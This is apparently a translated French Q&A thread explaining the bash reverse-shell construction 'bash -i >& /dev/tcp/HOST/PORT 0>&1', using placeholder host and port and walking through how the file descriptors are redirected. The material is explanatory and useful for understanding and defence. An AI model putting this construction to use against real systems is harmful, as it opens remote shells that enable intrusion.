Réponses:
Cet extrait de code exécute une nouvelle instance interactive de bash ( bash -i), sur une connexion TCP au port spécifié sur l'hôte spécifié qui est créé pour la durée du processus bash. La sortie standard et l'erreur standard sont envoyées via cette connexion ( >& /dev/tcp/HOST/PORT), et l'entrée standard est lue via cette connexion ( 0>&1- cela devrait être 0<&1mais 0>&1fonctionne aussi).
Il n'y a aucune redirection de port en cours. De toute évidence, un serveur TCP quelconque doit écouter et accepter les connexions sur cet HÔTE: PORT, et le pare-feu doit laisser passer la connexion.
/dev/tcp/HOST/PORT? J'ai supposé que vous aviez remplacé un nom par HOSTet un nombre par PORT. Sinon, vous obtiendrez un message d'erreur de bash. Puisque vous n'avez mentionné aucun message d'erreur, je suppose que vous n'en avez pas vu.
0<&1pièce. Je l'ai lu comme «prenez bash stdout ( &1) et canalisez-le dans bash stdin ( 0)», ce qui est logique. Pouvez-vous expliquer comment cette partie fonctionne?
0<&1signifie connecter tout ce qui est actuellement ouvert sur le descripteur de fichier 1 au descripteur de fichier 0. Puisque la redirection précédente >& /dev/tcp/HOST/PORTconnectait fd 1 (la valeur par défaut pour une redirection de sortie) à /dev/tcp/HOST/PORT, c'est- à -dire, a ouvert un socket TCP, cela duplique la connexion TCP au descripteur de fichier 0 (c'est-à-dire le le même socket est maintenant également ouvert sur fd 0, ce qui est différent de 0 </ dev / tcp / HOST / PORT qui ouvrirait un socket différent sur le même serveur).